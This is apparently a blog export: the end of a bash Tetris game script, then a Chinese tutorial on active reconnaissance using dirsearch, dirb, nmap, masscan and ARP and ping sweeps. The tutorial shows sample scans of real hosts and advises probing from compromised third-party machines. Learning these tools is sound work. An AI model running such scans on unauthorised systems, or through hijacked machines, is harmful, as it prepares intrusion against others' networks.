aKey[0]=${aKey[1]} aKey[1]=${aKey[2]} aKey[2]=$key sig=0 # 判断输入了何种键 if [[ $key == $cESC && ${aKey[1]} == $cESC ]] then # ESC键 MyExit elif [[ ${aKey[0]} == $cESC && ${aKey[1]} == "[" ]] then if [[ $key == "A" ]]; then sig=$sigRotate # <向上键> elif [[ $key == "B" ]]; then sig=$sigDown # <向下键> elif [[ $key == "D" ]]; then sig=$sigLeft # <向左键> elif [[ $key == "C" ]]; then sig=$sigRight # <向右键> fi elif [[ $key == "W" || $key == "w" ]]; then sig=$sigRotate # W, w elif [[ $key == "S" || $key == "s" ]]; then sig=$sigDown # S, s elif [[ $key == "A" || $key == "a" ]]; then sig=$sigLeft # A, a elif [[ $key == "D" || $key == "d" ]]; then sig=$sigRight # D, d elif [[ "[$key]" == "[]" ]]; then sig=$sigAllDown # 空格键 elif [[ $key == "Q" || $key == "q" ]] # Q, q then MyExit fi if [[ $sig != 0 ]] then # 向另一进程发送消息 kill -$sig $pidDisplayer fi done} # 退出前的恢复function MyExitNoSub(){ local y # 恢复终端属性 stty $sTTY ((y = iTop + iTrayHeight + 4)) # 显示光标 echo -e "\\033[?25h\\033[${y};0H" exit} function MyExit(){ # 通知显示进程需要退出 kill -$sigExit $pidDisplayer MyExitNoSub} # 处理显示和游戏流程的主函数function RunAsDisplayer(){ local sigThis InitDraw # 挂载各种信号的处理函数 trap "sig=$sigRotate;" $sigRotate trap "sig=$sigLeft;" $sigLeft trap "sig=$sigRight;" $sigRight trap "sig=$sigDown;" $sigDown trap "sig=$sigAllDown;" $sigAllDown trap "ShowExit;" $sigExit while : do # 根据当前的速度级iLevel不同,设定相应的循环的次数 for ((i = 0; i < 21 - iLevel; i++)) do sleep 0.02 sigThis=$sig sig=0 # 根据sig变量判断是否接受到相应的信号 if ((sigThis == sigRotate)); then BoxRotate; # 旋转 elif ((sigThis == sigLeft)); then BoxLeft; # 左移一列 elif ((sigThis == sigRight)); then BoxRight; # 右移一列 elif ((sigThis == sigDown)); then BoxDown; # 下落一行 elif ((sigThis == sigAllDown)); then BoxAllDown; # 下落到底 fi done # kill -$sigDown $$ BoxDown # 下落一行 done} # BoxMove(y, x), 测试是否可以把移动中的方块移到(x, y)的位置, 返回0则可以, 1不可以function BoxMove(){ local j i x y xTest yTest yTest=$1 xTest=$2 for ((j = 0; j < 8; j += 2)) do ((i = j + 1)) ((y = ${boxCur[$j]} + yTest)) ((x = ${boxCur[$i]} + xTest)) if (( y < 0 || y >= iTrayHeight || x < 0 || x >= iTrayWidth)) then # 撞到墙壁了 return 1 fi if ((${iMap[y * iTrayWidth + x]} != -1 )) then # 撞到其他已经存在的方块了 return 1 fi done return 0;} # 将当前移动中的方块放到背景方块中去,# 并计算新的分数和速度级。(即一次方块落到底部)function Box2Map(){ local j i x y xp yp line # 将当前移动中的方块放到背景方块中去 for ((j = 0; j < 8; j += 2)) do ((i = j + 1)) ((y = ${boxCur[$j]} + boxCurY)) ((x = ${boxCur[$i]} + boxCurX)) ((i = y * iTrayWidth + x)) iMap[$i]=$cBoxCur done # 消去可被消去的行 line=0 for ((j = 0; j < iTrayWidth * iTrayHeight; j += iTrayWidth)) do for ((i = j + iTrayWidth - 1; i >= j; i--)) do if ((${iMap[$i]} == -1)); then break; fi done if ((i >= j)); then continue; fi ((line++)) for ((i = j - 1; i >= 0; i--)) do ((x = i + iTrayWidth)) iMap[$x]=${iMap[$i]} done for ((i = 0; i < iTrayWidth; i++)) do iMap[$i]=-1 done done if ((line == 0)); then return; fi # 根据消去的行数line计算分数和速度级 ((x = iLeft + iTrayWidth * 2 + 7)) ((y = iTop + 11)) ((iScore += line * 2 - 1)) # 显示新的分数 echo -ne "\\033[1m\\033[3${cScoreValue}m\\033[${y};${x}H${iScore} " if ((iScore % iScoreEachLevel < line * 2 - 1)) then if ((iLevel < 20)) then ((iLevel++)) ((y = iTop + 14)) # 显示新的速度级 echo -ne "\\033[3${cScoreValue}m\\033[${y};${x}H${iLevel} " fi fi echo -ne "\\033[0m" # 重新显示背景方块 for ((y = 0; y < iTrayHeight; y++)) do ((yp = y + iTrayTop + 1)) ((xp = iTrayLeft + 1)) ((i = y * iTrayWidth)) echo -ne "\\033[${yp};${xp}H" for ((x = 0; x < iTrayWidth; x++)) do ((j = i + x)) if ((${iMap[$j]} == -1)) then echo -ne " " else echo -ne "\\033[1m\\033[7m\\033[3${iMap[$j]}m\\033[4${iMap[$j]}m[]\\033[0m" fi done done} # 下落一行function BoxDown(){ local y s ((y = boxCurY + 1)) # 新的y坐标 if BoxMove $y $boxCurX # 测试是否可以下落一行 then s="`DrawCurBox 0`" # 将旧的方块抹去 ((boxCurY = y)) s="$s`DrawCurBox 1`" # 显示新的下落后方块 echo -ne $s else # 走到这儿, 如果不能下落了 Box2Map # 将当前移动中的方块贴到背景方块中 RandomBox # 产生新的方块 fi} # 左移一列function BoxLeft(){ local x s ((x = boxCurX - 1)) if BoxMove $boxCurY $x then s=`DrawCurBox 0` ((boxCurX = x)) s=$s`DrawCurBox 1` echo -ne $s fi} # 右移一列function BoxRight(){ local x s ((x = boxCurX + 1)) if BoxMove $boxCurY $x then s=`DrawCurBox 0` ((boxCurX = x)) s=$s`DrawCurBox 1` echo -ne $s fi} # 下落到底function BoxAllDown(){ local k j i x y iDown s iDown=$iTrayHeight # 计算一共需要下落多少行 for ((j = 0; j < 8; j += 2)) do ((i = j + 1)) ((y = ${boxCur[$j]} + boxCurY)) ((x = ${boxCur[$i]} + boxCurX)) for ((k = y + 1; k < iTrayHeight; k++)) do ((i = k * iTrayWidth + x)) if (( ${iMap[$i]} != -1)); then break; fi done ((k -= y + 1)) if (( $iDown > $k )); then iDown=$k; fi done s=`DrawCurBox 0` # 将旧的方块抹去 ((boxCurY += iDown)) s=$s`DrawCurBox 1` # 显示新的下落后的方块 echo -ne $s Box2Map # 将当前移动中的方块贴到背景方块中 RandomBox # 产生新的方块} # 旋转方块function BoxRotate(){ local iCount iTestRotate boxTest j i s iCount=${countBox[$iBoxCurType]} # 当前的方块经旋转可以产生的样式的数目 # 计算旋转后的新的样式 ((iTestRotate = iBoxCurRotate + 1)) if ((iTestRotate >= iCount)) then ((iTestRotate = 0)) fi # 更新到新的样式, 保存老的样式(但不显示) for ((j = 0, i = (${offsetBox[$iBoxCurType]} + $iTestRotate) * 8; j < 8; j++, i++)) do boxTest[$j]=${boxCur[$j]} boxCur[$j]=${box[$i]} done if BoxMove $boxCurY $boxCurX # 测试旋转后是否有空间放的下 then # 抹去旧的方块 for ((j = 0; j < 8; j++)) do boxCur[$j]=${boxTest[$j]} done s=`DrawCurBox 0` # 画上新的方块 for ((j = 0, i = (${offsetBox[$iBoxCurType]} + $iTestRotate) * 8; j < 8; j++, i++)) do boxCur[$j]=${box[$i]} done s=$s`DrawCurBox 1` echo -ne $s iBoxCurRotate=$iTestRotate else # 不能旋转,还是继续使用老的样式 for ((j = 0; j < 8; j++)) do boxCur[$j]=${boxTest[$j]} done fi} # DrawCurBox(bDraw), 绘制当前移动中的方块, bDraw为1, 画上, bDraw为0, 抹去方块。function DrawCurBox(){ local i j t bDraw sBox s bDraw=$1 s="" if (( bDraw == 0 )) then sBox="\\040\\040" else sBox="[]" s=$s"\\033[1m\\033[7m\\033[3${cBoxCur}m\\033[4${cBoxCur}m" fi for ((j = 0; j < 8; j += 2)) do ((i = iTrayTop + 1 + ${boxCur[$j]} + boxCurY)) ((t = iTrayLeft + 1 + 2 * (boxCurX + ${boxCur[$j + 1]}))) # \\033[y;xH, 光标到(x, y)处 s=$s"\\033[${i};${t}H${sBox}" done s=$s"\\033[0m" echo -n $s} # 更新新的方块function RandomBox(){ local i j t # 更新当前移动的方块 iBoxCurType=${iBoxNewType} iBoxCurRotate=${iBoxNewRotate} cBoxCur=${cBoxNew} for ((j = 0; j < ${#boxNew[@]}; j++)) do boxCur[$j]=${boxNew[$j]} done # 显示当前移动的方块 if (( ${#boxCur[@]} == 8 )) then # 计算当前方块该从顶端哪一行"冒"出来 for ((j = 0, t = 4; j < 8; j += 2)) do if ((${boxCur[$j]} < t)); then t=${boxCur[$j]}; fi done ((boxCurY = -t)) for ((j = 1, i = -4, t = 20; j < 8; j += 2)) do if ((${boxCur[$j]} > i)); then i=${boxCur[$j]}; fi if ((${boxCur[$j]} < t)); then t=${boxCur[$j]}; fi done ((boxCurX = (iTrayWidth - 1 - i - t) / 2)) # 显示当前移动的方块 echo -ne `DrawCurBox 1` # 如果方块一出来就没处放,Game over! if ! BoxMove $boxCurY $boxCurX then kill -$sigExit ${PPID} ShowExit fi fi # 清除右边预显示的方块 for ((j = 0; j < 4; j++)) do ((i = iTop + 1 + j)) ((t = iLeft + 2 * iTrayWidth + 7)) echo -ne "\\033[${i};${t}H " done # 随机产生新的方块 ((iBoxNewType = RANDOM % ${#offsetBox[@]})) ((iBoxNewRotate = RANDOM % ${countBox[$iBoxNewType]})) for ((j = 0, i = (${offsetBox[$iBoxNewType]} + $iBoxNewRotate) * 8; j < 8; j++, i++)) do boxNew[$j]=${box[$i]}; done ((cBoxNew = ${colorTable[RANDOM % ${#colorTable[@]}]})) # 显示右边预显示的方块 echo -ne "\\033[1m\\033[7m\\033[3${cBoxNew}m\\033[4${cBoxNew}m" for ((j = 0; j < 8; j += 2)) do ((i = iTop + 1 + ${boxNew[$j]})) ((t = iLeft + 2 * iTrayWidth + 7 + 2 * ${boxNew[$j + 1]})) echo -ne "\\033[${i};${t}H[]" done echo -ne "\\033[0m"} # 初始绘制function InitDraw(){ clear RandomBox # 随机产生方块,这时右边预显示窗口中有方快了 RandomBox # 再随机产生方块,右边预显示窗口中的方块被更新,原先的方块将开始下落 local i t1 t2 t3 # 显示边框 echo -ne "\\033[1m" echo -ne "\\033[3${cBorder}m\\033[4${cBorder}m" ((t2 = iLeft + 1)) ((t3 = iLeft + iTrayWidth * 2 + 3)) for ((i = 0; i < iTrayHeight; i++)) do ((t1 = i + iTop + 2)) echo -ne "\\033[${t1};${t2}H||" echo -ne "\\033[${t1};${t3}H||" done ((t2 = iTop + iTrayHeight + 2)) for ((i = 0; i < iTrayWidth + 2; i++)) do ((t1 = i * 2 + iLeft + 1)) echo -ne "\\033[${iTrayTop};${t1}H==" echo -ne "\\033[${t2};${t1}H==" done echo -ne "\\033[0m" # 显示"Score"和"Level"字样 echo -ne "\\033[1m" ((t1 = iLeft + iTrayWidth * 2 + 7)) ((t2 = iTop + 10)) echo -ne "\\033[3${cScore}m\\033[${t2};${t1}HScore" ((t2 = iTop + 11)) echo -ne "\\033[3${cScoreValue}m\\033[${t2};${t1}H${iScore}" ((t2 = iTop + 13)) echo -ne "\\033[3${cScore}m\\033[${t2};${t1}HLevel" ((t2 = iTop + 14)) echo -ne "\\033[3${cScoreValue}m\\033[${t2};${t1}H${iLevel}" echo -ne "\\033[0m"} # 退出时显示GameOVer!function ShowExit(){ local y ((y = iTrayHeight + iTrayTop + 3)) echo -e "\\033[${y};0HGameOver!\\033[0m" exit} # 显示用法.function Usage{ cat << EOFUsage: $APP_NAMEStart tetris game. -h, --help display this help and exit --version output version information and exitEOF} # 游戏主程序在这儿开始.if [[ "$1" == "-h" || "$1" == "--help" ]]; then Usageelif [[ "$1" == "--version" ]]; then echo "$APP_NAME $APP_VERSION"elif [[ "$1" == "--show" ]]; then # 当发现具有参数--show时,运行显示函数 RunAsDisplayerelse bash $0 --show& # 以参数--show将本程序再运行一遍 RunAsKeyReceiver $! # 以上一行产生的进程的进程号作为参数fi","tags":["Centos","运维","Shell"],"categories":["安全运维","Linux"]},{"title":"Security-主动信息收集","path":"/2024/02/16/449cb93/","content":"总字符数: 21.79K 代码: 12.88K, 文本: 4.42K 预计阅读时间: 1.25 小时 主动信息收集的原理全球网络攻防实时地图通以下链接,我们可以发现,现在这个安静的网站环境下,一直存在着攻击和渗透。 https://ssa.yundun.com/cchttps://ssa.yundun.com/cc https://cybermap.kaspersky.com/cnhttps://cybermap.kaspersky.com/cn 主动信息收集的特点 直接与目标系统交互通信 无法避免留下访问的痕迹 使用受控的第三方电脑进行探测,使用代理或已经被控制的机器,做好被封杀的准备 扫描发送不同的探测,根据返回结果判断目标状态 扫描敏感目录/文件 扫描敏感目录需要强大的字典,需要平时积累,拥有强大的字典能够更高效地找出网站的管理后台,敏感文件常见的如**.git文件泄露,.svn文件泄露,phpinfo泄露,robots.txt,网站banner,网站后台,测试文件,备份,github源码,JS敏感文件,网页源代码**等,这一步一半交给各类扫描器就可以了,将目标站点输入到域名中,选择对应字典类型,就可以开始扫描了,十分方便。 JS敏感文件 123python3 PackerFuzzer.py -u https://www.liaoxuefeng.com# 查看报告cd reports 12# 建议使用 -ou 和 -os 来指定保存 URL 和子域名的文件名python3 JSFinder.py -u http://www.jiangjiyue.com -d -ou mi_url.txt -os mi_subdomain.txt dirsearch dirsearch是一个基于python3的命令行工具,常用于暴力扫描页面结构,包括网页中的目录和文件。 相比其他扫描工具disearch的特点是: 支持HTTP代理 多线程 支持多种形式的网页(asp,php) 生成报告(纯文本,JSON) 启发式检测无效的网页 递归扫描 用户代理随机化 批量处理 扫描器与字典(注:字典必须是文本文件) 简单使用12345678dirsearch -u https://target dirsearch -e php,html,js -u https://target dirsearch -e * -u https://target -w /path/to/wordlist# 参数# -e 扫描网站需要指定网站的脚本类型,*为全部类型的脚本# -u 指定域名# -w 设置字典 图中,每一列的含义分别是:扫描时间,状态码,大小,扫描的目录,重定向的地址 参数列表1234567891011121314151617181920212223242526-h, --help # 查看帮助-u URL, --url=URL # 设置url-L URLLIST, --url-list=URLLIST # 设置url列表-e EXTENSIONS, --extensions=EXTENSIONS # 网站脚本类型-w WORDLIST, --wordlist=WORDLIST # 设置字典-l, --lowercase # 小写-f, --force-extensions # 强制扩展字典里的每个词条-s DELAY, --delay=DELAY # 设置请求之间的延时-r, --recursive Bruteforce recursively # 递归地扫描–scan-subdir=SCANSUBDIRS, --scan-subdirs=SCANSUBDIRS # 扫描给定的url的子目录(用逗号隔开)–exclude-subdir=EXCLUDESUBDIRS, --exclude-subdirs=EXCLUDESUBDIRS # 在递归过程中排除指定的子目录扫描(用逗号隔开)-t THREADSCOUNT, --threads=THREADSCOUNT # 设置扫描线程-x EXCLUDESTATUSCODES, --exclude-status=EXCLUDESTATUSCODES # 排除指定的网站状态码(用逗号隔开)-c COOKIE, --cookie=COOKIE # 设置cookie–ua=USERAGENT, --user-agent=USERAGENT # 设置用户代理-F, --follow-redirects # 跟随地址重定向扫描-H HEADERS, --header=HEADERS # 设置请求头–random-agents, --random-user-agents # 设置随机代理–timeout=TIMEOUT # 设置超时时间–ip=IP # 设置代理IP地址–proxy=HTTPPROXY, --http-proxy=HTTPPROXY # 设置http代理。例如127.0.0.1:8080–max-retries=MAXRETRIES # 设置最大的重试次数-b, --request-by-hostname # 通过主机名请求速度,默认通过IP–simple-report=SIMPLEOUTPUTFILE # 保存结果,发现的路径–plain-text-report=PLAINTEXTOUTPUTFILE # 保存结果,发现的路径和状态码–json-report=JSONOUTPUTFILE # 以json格式保存结果 Dirbuster DirBuster支持全部的Web目录扫描方式。它既支持网页爬虫方式扫描,也支持基于字典暴力扫描,还支持纯暴力扫描。该工具使用Java语言编写,提供命令行(Headless)和图形界面(GUI)两种模式。其中,图形界面模式功能更为强大。用户不仅可以指定纯暴力扫描的字符规则,还可以设置以URL模糊方式构建网页路径。同时,用户还对网页解析方式进行各种定制,提高网址解析效率。 启动dirbuster123456┌──(root㉿kali)-[/home]└─# dirbuster Command 'dirbuster' not found, but can be installed with:apt install dirbusterDo you want to install it? (N/y)# 如果出现以上内容,输入y回车安装即可 设置相关参数 目标ip地址或域名,默认80端口,特殊端口需要加到后面 请求方式,用get方式或者HEAD加GET自动切换 选择线程数,用于执行暴力破解的线程数完全取决于计算机的硬件 选择字典类型,字典列表目录为:/usr/share/dirbuster/wordlists 自动生成,和步骤4二选一,建议使用字典 选择扫描方式 如果用URL Fuzz,可以指定目录,指定扫描admin目录下面的所有文件,dir代表字典的每一行 点击开始 查看结果 Scan Information:扫描信息 Results -List View:结果列表 Results -Tree View:结果树 Errors:错误 为确定文件是否存在,最常见的响应如下所示 200:文件存在; 404:服务器中不存在该文件; 301:这是重定向到给定的URL; 401:访问此文件需要身份验证; 403:请求有效但服务器拒绝响应。 导出结果 dirb dirb是一个基于字典的web目录扫描工具,采用递归的方式来获取更多的目录,可以查找到已知的和隐藏的目录,它还支持代理和http认证限制访问的网站在渗透测试过程中,是一个非常好用的工具 dirb命令参数123456789格式:dirb <url_base> [<wordlist_file(s)>] [options]-a 设置user-agent-p <proxy[:port]>设置代理-c 设置cookie-z 添加毫秒延迟,避免洪水攻击-o 输出结果-X 在每个字典的后面添加一个后缀-H 添加请求头-i 不区分大小写搜索 1dirb http://192.168.64.170 -w /usr/share/wordlists/dirb/big.txt 基于ping命令的探测 PING命令也延伸出了很多其他的命令,如ARPING、FPING、HPING等 ping PING命令是我们常用的判断主机之间网络是否畅通,同样也是能判断我们的目标主机是否存活 1234567891011┌──(root㉿kali)-[/home]└─# ping www.baidu.com -c 4PING www.a.shifen.com (180.101.50.188) 56(84) bytes of data.64 bytes from 180.101.50.188 (180.101.50.188): icmp_seq=1 ttl=51 time=35.0 ms64 bytes from 180.101.50.188 (180.101.50.188): icmp_seq=2 ttl=51 time=35.1 ms64 bytes from 180.101.50.188 (180.101.50.188): icmp_seq=3 ttl=51 time=35.0 ms64 bytes from 180.101.50.188 (180.101.50.188): icmp_seq=4 ttl=51 time=35.2 ms--- www.a.shifen.com ping statistics ---4 packets transmitted, 4 received, 0% packet loss, time 3004msrtt min/avg/max/mdev = 34.986/35.067/35.152/0.060 ms ARPINGARP协议概述 ARP协议是“Address Resolution Protocol”(地址解析协议)的缩写。计算机通过 ARP协议将IP地址转换成MAC地址。 ARP协议工作原理 在以太网中,数据传输的目标地址是MAC地址,一个主机要和另一个主机进行直接通信,必须要知道目标主机的MAC地址。 计算机使用者通常只知道目标机器的IP信息,”地址解析”就是主机在发送帧前将目标IP地址转换成目标MAC地址的过程。 简单地说,ARP协议主要负责将局域网中的32位IP地址转换为对应的48位物理地址,即网卡的MAC地址,保障通信顺利进行。 windows下查看MAC地址:ipconfig /all 使用arping命令查看局域网中的IP是否有冲突 123456└─# arping 192.168.2.107ARPING 192.168.2.107TimeoutTimeoutTimeout# 注意:按CTRL+C结束arping命令 netdiscover netdiscover是一个主动/被动的ARP侦查工具.使用netdiscover工具可以在网络上扫描IP地址,检查在线主机或搜索为它们发送的ARP请求。 主动模式 主动模式顾名思义就是主动的探测发现网络内主机,但是这种方式往往会引起网络管理员的注意 123456┌──(root㉿kali)-[/home]└─# netdiscover -i eth0 -r 192.168.2.0/24# 参数:# -i 设备:您的网络设备 这里是指定网口为eth0,范围192.168.2.0/24# -r 范围:扫描指定范围而不是自动扫描# /24/16/8,子网掩码 三个255是/24 被动模式 被动模式的方法更加隐蔽,但是速度会比较慢,网卡被设置为混杂模式来侦听网络内的arp数据包进行被动式探测,这种方式就需要网络内设备发送arp包才能被探测到。 1234┌──(root㉿kali)-[/home]└─# netdiscover -p # 参数:# -p 被动模式:不发送任何东西,只有sniffnet arp-scan arp-scan是Kali Linux自带的一款ARP扫描工具。该工具可以进行单一目标扫描,也可以进行批量扫描。 同时,该工具会自动解析Mac地址,给出MAC对应的硬件厂商,帮助用户确认目标。 指令介绍 参数名 参数含义 使用示例 -f 从指定文件中读取主机名或地址 arp-scan -f ip.txt -l 从网络接口配置生成地址 arp-scan -l -i 各扫描之间的时间差 arp-scan -l -i 1000 -r 每个主机扫描次数 arp-scan -l -r 5 -V 显示程序版本并退出 arp-scan -l -V -t 设置主机超时时间 arp-scan -t 1000 192.168.2.0/24 -I 使用网络接口 arp-scan -I eth0 -l -g 不显示重复的数据 arp-scan -l -g -D 显示数据包往返时间 arp-scan -l -D 1234567891011┌──(root㉿kali)-[/home]└─# arp-scan -l Interface: eth0, type: EN10MB, MAC: 00:0c:29:3e:50:4d, IPv4: 192.168.2.106Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)192.168.2.1 2c:b2:1a:0c:d4:49 Phicomm (Shanghai) Co., Ltd.192.168.2.104 84:14:4d:f7:61:b0 (Unknown)192.168.2.180 2a:3e:a4:7a:f0:e6 (Unknown: locally administered)192.168.2.201 96:89:f9:d7:d9:7b (Unknown: locally administered)4 packets received by filter, 0 packets dropped by kernelEnding arp-scan 1.9.7: 256 hosts scanned in 1.920 seconds (133.33 hosts/sec). 4 responded FPING Fping就是ping命令的加强版他可以对一个IP段进行ping扫描,而ping命令本身是不可以对网段进行扫描的 12345678910┌──(root㉿kali)-[/home]└─# fping -ag 192.168.2.0/24 > fping.txt或┌──(root㉿kali)-[/home]└─# fping -ag 192.168.2.1 192.168.2.254 > fping.txt# 参数说明:-a 表示只显示存活主机-g 表示对地址段进行扫描,如果不加可以对某个IP进行扫描> fping.txt 表示将扫描的结果重定向到fping.txt ,原因是如果扫描一个网段的话输出结果是非常多的,我们输出重定向到文件中只会获得存活的主机信息。 Nmap Nmap 是一个网络连接端扫描软件,用来扫描网上电脑开放的网络连接端。确定哪些服务运行在哪些连接端,并且推断计算机运行哪个操作系统(这是亦称 fingerprinting)。它是网络管理员必用的软件之一,以及用以评估网络系统安全。它不局限于仅仅收集信息和枚举,同时可以用来作为一个漏洞探测器或安全扫描器。 特点Nmap 对于网络检查的作用,应该相当于网址导航、搜索引擎的作用:入口。 检测活在网络上的主机(主机发现) 检测主机上开放的端口(端口发现或枚举) 检测到相应的端口(服务发现)的软件和版本 检测操作系统,硬件地址,以及软件版本 检测脆弱性的漏洞(Nmap 的脚本) Nmap 使用不同的技术来执行扫描,包括:TCP 的 connect 扫描,TCP 反向的 ident 扫描,FTP 反弹扫描等。所有这些扫描的类型有自己的优点和缺点。 目标探测 目标探测的目的主要有 2 个: 判断是否存活 获取端口的开放情况 -P* 选项(用于选择 ping 的类型)可以结合使用。可以通过使用不同的 TCP 端口/标志位和 ICMP 码来发送许多探测报文,增加穿透防火墙的机会。注意,即使指定了 -P* 选项,在局域网中,默认通过 ARP(-PR)来探测目标,因为它总是更快更有效。 -sn 不进行端口扫描(Ping 扫描):此选项告诉 Nmap 在主机发现后不进行端口扫描,只打印出探测到的可用主机。 -sP该选项告诉 Nmap 仅仅进行 ping 扫描(主机发现),然后打印出对扫描做出响应的那些主机。没有进一步的测试(如端口扫描或者操作系统探测)。相当于执行了 ping xxxx。当目标为整个局域网的时候,这个方法类似 ping 广播地址,但是它更可靠,因为许多主机对广播请求不响应。同 -sn -Pn:该选项完全跳过 Nmap 目标存活判断,即认为每个目标都是存活的。一般来说,Nmap 首先判断目标是否存活,如果存活再进行进一步的探测,如端口扫描、版本探测、或者操作系统探测等等。用 -P0 会使得 Nmap 对每一个目标都直接进行所要求的扫描。 -PU: UDP ping,它发送一个空的(除非指定了 --data-length)UDP报文到给定的端口 -PR :ARP Ping --system-dns:默认情况下,Nmap 通过直接发送查询到你的主机上配置的域名服务器来解析域名。为了提高性能会并发执行许多请求(一般几十个)。如果您希望使用系统自带的解析器,就指定该选项(原理是通过调用 getnameinfo() 函数,调用一次解析一个 IP) 123# 1. nmap扫描局域网存活主机与主机名nmap -sP 192.168.1.0/24 nmap -sP -PI -PT 192.168.1.0/24 端口扫描 状态 详细的参数说明 Open 端口开启,数据有到达主机,有程序在端口上监控 Closed 端口关闭,数据有到达主机,没有程序在端口上监控 Filtered 数据没有到达主机,返回的结果为空,数据被防火墙或者是IDS过滤 UnFiltered 数据有到达主机,但是不能识别端口的当前状态 Open|Filtered 端口没有返回值,主要发生在UDP、IP、FIN、NULL和Xmas扫描中 Closed|Filtered 只发生在IP ID idle扫描 --script= 表示启用脚本扫描。具体而言,它会使用 default 和 safe 脚本组合,用于对目标进行扫描和信息收集。 auth 处理身份验证 broadcast 网络广播 brute 暴力猜解 default 默认 discovery 服务发现 dos 拒绝服务 exploit漏洞利用 external 外部扩展 fuzzer 模糊测试 intrusive 扫描可能造成不良后果 malware 检测后门 safe 扫描危害较小 version 版本识别 vuln 漏洞检测 -sS TCP SYN 扫描执行得很快 -sT TCP connect() 扫描:当 SYN 扫描不能用,例如当用户没有权限发送原始报文或者扫描 IPv6 网络时,TCP 扫描默认使用 TCP Connect() 扫描 -sU: UDP 扫描 -P <port ranges> 只扫描指定的端口:该选项指明你想扫描的端口,覆盖默认值。单个端口加上连字符表示端口范围(如 1-1023)也可以。 -p-:全端口扫描 服务和版本探测 -sV: 打开版本探测。也可以用-A同时打开操作系统探测和版本探测。 --allports 不排除端口:默认情况下,Nmap 版本探测会跳过 TCP 端口 9100 操作系统探测 -O 启用操作系统检测.也可以使用-A来同时启用操作系统检测和版本检测 输出 -oN <filespec>:要求将标准输出直接写入指定的文件。如上所述,这个格式与交互式输出略有不同。 -oX <filespec>:要求 XML 输出直接写入指定的文件 -oA <basename>: 输出至所有格式 --append-output: 在输出文件中添加:当使用文件作为输出格式,如-oX或-oN,默认该文件被覆盖。如果希望文件保留现有内容,将结果添加在现有文件后面,就使用--append-output选项。所有指定的输出文件都被添加。但对于XML(-oX)扫描输出文件无效,无法正常解析,需要手工修改 激进扫描模式 -A:这个选项启用额外的高级和高强度选项,目前还未确定代表 的内容。目前,这个选项启用了操作系统检测(-O)和版本扫描(-sV),以后会增加更多的功能。目的是启用一个全面的扫描选项集合,不需要用户记忆大量的选项。这个选项仅仅启用功能,不包含用于可能所需要的时间选项(如 -T4)或细节选项(-v) 12345678910111213141516# nmap 扫描ip所开放的端口nmap -sT -sV -Pn -v 192.168.1.12 -p-# 参数:# -p- 表示全端口 计算机共有端口65535个# -sT 表示扫描用的是Tcp扫描# -sV 表示显示服务版本号# -Pn 应当表示被扫描的机器与你本机的三次握手# -v 表示详细信息nmap -p80 [域名] 对某个端口进行探测nmap -p80,135 [域名] 对某几个端口进行探测nmap -p1-100 [域名] 对某个端口范围进行探测nmap -p- [域名] 对所有端口范围进行探测nmap -p T:25,U:53 [域名] 指定协议探测端口nmap -p smtp [域名] 通过协议名来扫描端口nmap -p s* [域名] 通过名称范围扫描nmap -p [1-65535] [域名] 扫描注册在nmap中的端口 使用nmap进行半连接扫描nmap扫描类型主要有TCP的全连接扫描(会在被扫描机器留下记录),半连接扫描(不会留下记录) 12345678910111213141516┌──(root㉿kali)-[/home]└─# nmap -sS 154.40.42.101 -p80,443,9090,8080 Starting Nmap 7.92 ( https://nmap.org ) at 2023-04-05 13:49 CSTNmap scan report for 154.40.42.101Host is up (0.19s latency).PORT STATE SERVICE80/tcp open http443/tcp filtered https8080/tcp open http-proxy9090/tcp open zeus-adminNmap done: 1 IP address (1 host up) scanned in 1.48 seconds# 参数:# -sS 表示使用SYN进行半连接扫描 masscan masscan是为了尽可能快速的扫描整个互联网而创建的,根据其作者robert graham描述可以不到6分钟内完成每秒大约1000万个数据包 基本使用123456789101112131415161718192021222324252627282930# 单端口扫描masscan 10.10.10.0/24 -p443# 多端口扫描masscan 10.10.10.0/24 -p80,443# 扫描一系列端口masscan 10.10.10.0/24 -p22-25# 快速扫描# 默认情况下,masscan扫描的速度为每秒100个数据包,为了增加这一点,只需提供该-rate选项并指定一个值masscan 10.10.10.0/24 --top-ports 100 --rate 100000# 排除目标# 为了更好的,愉快的玩耍,必要时要对扫描目标进行排除masscan 10.10.10.0/24 --top-ports 100 --excludefile exclude.txt# 保存扫描结果# 可以使用标准的unix重定向器将扫描结果输入到一个文件中masscan 10.10.10.0/24 --top-ports 100 > result.txt# 支持的输出格式# -oX filename : 将扫描结果保存到xml格式的文件中# -oG filename : 将扫描结果保存到grepable格式的文件中# -oJ filename : 将扫描结果保存到json格式的文件中# 获取Bannermasscan 10.10.10.0/24 -p80 --banners --source-ip x.x.x.x# 扫描10.10.10.x网段80端口的开放信息,并且获取banner信息 –source-ip 是指定源IP,这个ip必须指定独立有效的IP地址。 命令行模式详细参数以下为扩展内容 123456789101112131415161718192021222324252627282930<ip/range> IP地址范围,有三种有效格式,1、单独的IPv4地址 2、类似"10.0.0.1-10.0.0.233"的范围地址 3、CIDR地址 类似于"0.0.0.0/0",多个目标可以用都好隔开-p <ports,--ports <ports>> 指定端口进行扫描--banners 获取banner信息,支持少量的协议--rate <packets-per-second> 指定发包的速率-c <filename>, --conf <filename> 读取配置文件进行扫描--echo 将当前的配置重定向到一个配置文件中-e <ifname> , --adapter <ifname> 指定用来发包的网卡接口名称--adapter-ip <ip-address> 指定发包的IP地址--adapter-port <port> 指定发包的源端口--adapter-mac <mac-address> 指定发包的源MAC地址--router-mac <mac address> 指定网关的MAC地址--exclude <ip/range> IP地址范围黑名单,防止masscan扫描--excludefile <filename> 指定IP地址范围黑名单文件--includefile,-iL <filename> 读取一个范围列表进行扫描--ping 扫描应该包含ICMP回应请求--append-output 以附加的形式输出到文件--iflist 列出可用的网络接口,然后退出--retries 发送重试的次数,以1秒为间隔--nmap 打印与nmap兼容的相关信息--http-user-agent <user-agent> 设置user-agent字段的值--show [open,close] 告诉要显示的端口状态,默认是显示开放端口--noshow [open,close] 禁用端口状态显示--pcap <filename> 将接收到的数据包以libpcap格式存储--regress 运行回归测试,测试扫描器是否正常运行--ttl <num> 指定传出数据包的TTL值,默认为255--wait <seconds> 指定发送完包之后的等待时间,默认为10秒--offline 没有实际的发包,主要用来测试开销-sL 不执行扫描,主要是生成一个随机地址列表--readscan <binary-files> 读取从-oB生成的二进制文件,可以转化为XML或者JSON格式.--connection-timeout <secs> 抓取banners时指定保持TCP连接的最大秒数,默认是30秒。 nc nc是netcat的简写,有着网络界的瑞士军刀美誉。因为它短小精悍、功能实用,被设计为一个简单、可靠的网络工具 作用 